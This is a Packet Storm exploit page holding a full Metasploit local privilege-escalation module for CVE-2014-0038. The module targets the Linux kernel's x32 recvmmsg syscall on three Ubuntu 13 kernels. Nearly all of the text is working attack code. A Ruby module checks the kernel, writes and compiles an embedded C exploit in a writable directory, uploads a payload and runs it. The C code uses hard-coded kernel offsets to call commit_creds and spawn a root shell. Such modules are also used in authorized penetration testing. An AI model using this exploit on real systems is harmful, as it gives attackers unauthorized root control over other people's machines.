Lucene search

K
packetstormRebelPACKETSTORM:139049
HistoryOct 10, 2016 - 12:00 a.m.

Linux Kernel 3.13.1 Recvmmsg Privilege Escalation

2016-10-1000:00:00
rebel
packetstormsecurity.com
29

0.0004 Low

EPSS

Percentile

0.4%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require "msf/core"  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',  
'Description' => %q{  
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg  
system call with a crafted timeout pointer parameter to gain root.  
This exploit has offsets for 3 Ubuntu 13 kernels built in:  
3.8.0-19-generic (13.04 default)  
3.11.0-12-generic (13.10 default)  
3.11.0-15-generic (13.10)  
This exploit may take up to 13 minutes to run due to a decrementing (1/sec)  
pointer which starts at 0xff*3 (765 seconds)  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die <[email protected]>', # Module  
'rebel' # Discovery  
],  
'DisclosureDate' => 'Feb 2 2014',  
'Platform' => [ 'linux'],  
'Arch' => [ ARCH_X86, ARCH_X86_64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' =>  
[  
[ 'Auto', { } ]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },  
'References' =>  
[  
[ 'EDB', '31347'],  
[ 'EDB', '31346'],  
[ 'CVE', '2014-0038'],  
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']  
]  
))  
register_options(  
[  
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])  
], self.class)  
end  
  
def check  
def kernel_vuln?()  
os_id = cmd_exec('grep ^ID= /etc/os-release')  
if os_id == 'ID=ubuntu'  
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))  
case kernel.release.to_s  
when '3.11.0'  
if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')  
vprint_good("Kernel #{kernel} is exploitable")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")  
return false  
end  
when '3.8.0'  
if kernel == Gem::Version.new('3.8.0-19-generic')  
vprint_good("Kernel #{kernel} is exploitable")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")  
return false  
end  
else  
print_error("Non-vuln kernel #{kernel}")  
return false  
end  
else  
print_error("Unknown OS: #{os_id}")  
return false  
end  
end  
  
if kernel_vuln?()  
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
end  
  
def exploit  
  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')  
end  
  
  
# direct copy of code from exploit-db. I removed a lot of the comments in the title area just to cut down on size  
  
recvmmsg = %q{  
/*  
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*  
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)  
CVE-2014-0038 / x32 ABI with recvmmsg  
by rebel @ irc.smashthestack.org  
-----------------------------------  
*/  
  
#define _GNU_SOURCE  
#include <netinet/ip.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/socket.h>  
#include <unistd.h>  
#include <sys/syscall.h>  
#include <sys/mman.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
#include <sys/utsname.h>  
  
#define __X32_SYSCALL_BIT 0x40000000  
#undef __NR_recvmmsg  
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)  
#define VLEN 1  
#define BUFSIZE 200  
  
int port;  
  
struct offset {  
char *kernel_version;  
unsigned long dest; // net_sysctl_root + 96  
unsigned long original_value; // net_ctl_permissions  
unsigned long prepare_kernel_cred;  
unsigned long commit_creds;  
};  
  
struct offset offsets[] = {  
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10  
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10  
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04  
{NULL,0,0,0,0}  
};  
  
void udp(int b) {  
int sockfd;  
struct sockaddr_in servaddr,cliaddr;  
int s = 0xff+1;  
  
if(fork() == 0) {  
while(s > 0) {  
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));  
sleep(1);  
s--;  
fprintf(stderr,".");  
}  
  
sockfd = socket(AF_INET,SOCK_DGRAM,0);  
bzero(&servaddr,sizeof(servaddr));  
servaddr.sin_family = AF_INET;  
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);  
servaddr.sin_port=htons(port);  
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));  
exit(0);  
}  
  
}  
  
void trigger() {  
open("/proc/sys/net/core/somaxconn",O_RDONLY);  
  
if(getuid() != 0) {  
fprintf(stderr,"not root, ya blew it!\n");  
exit(-1);  
}  
  
fprintf(stderr,"w00p w00p!\n");  
system("/bin/sh -i");  
}  
  
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  
_commit_creds commit_creds;  
_prepare_kernel_cred prepare_kernel_cred;  
  
// thx bliss  
static int __attribute__((regparm(3)))  
getroot(void *head, void * table)  
{  
commit_creds(prepare_kernel_cred(0));  
return -1;  
}  
  
void __attribute__((regparm(3)))  
trampoline()  
{  
asm("mov $getroot, %rax; call *%rax;");  
}  
  
int main(void)  
{  
int sockfd, retval, i;  
struct sockaddr_in sa;  
struct mmsghdr msgs[VLEN];  
struct iovec iovecs[VLEN];  
char buf[BUFSIZE];  
long mmapped;  
struct utsname u;  
struct offset *off = NULL;  
  
uname(&u);  
  
for(i=0;offsets[i].kernel_version != NULL;i++) {  
if(!strcmp(offsets[i].kernel_version,u.release)) {  
off = &offsets[i];  
break;  
}  
}  
  
if(!off) {  
fprintf(stderr,"no offsets for this kernel version..\n");  
exit(-1);  
}  
  
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));  
mmapped &= 0x000000ffffffffff;  
  
srand(time(NULL));  
port = (rand() % 30000)+1500;  
  
commit_creds = (_commit_creds)off->commit_creds;  
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;  
  
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);  
  
if(mmapped == -1) {  
perror("mmap()");  
exit(-1);  
}  
  
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);  
  
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);  
  
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {  
perror("mprotect()");  
exit(-1);  
}  
  
sockfd = socket(AF_INET, SOCK_DGRAM, 0);  
if (sockfd == -1) {  
perror("socket()");  
exit(-1);  
}  
  
sa.sin_family = AF_INET;  
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);  
sa.sin_port = htons(port);  
  
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {  
perror("bind()");  
exit(-1);  
}  
  
memset(msgs, 0, sizeof(msgs));  
  
iovecs[0].iov_base = &buf;  
iovecs[0].iov_len = BUFSIZE;  
msgs[0].msg_hdr.msg_iov = &iovecs[0];  
msgs[0].msg_hdr.msg_iovlen = 1;  
  
for(i=0;i < 3 ;i++) {  
udp(i);  
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);  
if(!retval) {  
fprintf(stderr,"\nrecvmmsg() failed\n");  
}  
}  
  
close(sockfd);  
fprintf(stderr,"\n");  
trigger();  
}  
}  
  
filename = rand_text_alphanumeric(8)  
executable_path = "#{datastore['WritableDir']}/#{filename}"  
payloadname = rand_text_alphanumeric(8)  
payload_path = "#{datastore['WritableDir']}/#{payloadname}"  
  
def has_prereqs?()  
gcc = cmd_exec('which gcc')  
if gcc.include?('gcc')  
vprint_good('gcc is installed')  
else  
print_error('gcc is not installed. Compiling will fail.')  
end  
return gcc.include?('gcc')  
end  
  
compile = false  
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'  
if has_prereqs?()  
compile = true  
vprint_status('Live compiling exploit on system')  
else  
vprint_status('Dropping pre-compiled exploit on system')  
end  
end  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')  
end  
  
def upload_and_chmod(fname,fcontent)  
print_status "Writing to #{fname} (#{fcontent.size} bytes)"  
rm_f fname  
write_file(fname, fcontent)  
cmd_exec("chmod +x #{fname}")  
register_file_for_cleanup(fname)  
end  
  
if compile  
recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/,  
"system(\"#{payload_path}\");")  
upload_and_chmod("#{executable_path}.c", recvmmsg)  
vprint_status("Compiling #{executable_path}.c")  
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile  
register_file_for_cleanup(executable_path)  
else  
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')  
fd = ::File.open( path, "rb")  
recvmmsg = fd.read(fd.stat.size)  
fd.close  
upload_and_chmod(executable_path, recvmmsg)  
# overwrite with the hardcoded variable names in the compiled versions  
payload_filename = 'a0RwAacU'  
payload_path = "/tmp/#{payload_filename}"  
end  
  
upload_and_chmod(payload_path, generate_payload_exe)  
stime = Time.now  
vprint_status("Exploiting... May take 13min. Start time: #{stime}")  
output = cmd_exec(executable_path)  
output.each_line { |line| vprint_status(line.chomp) }  
end  
end  
`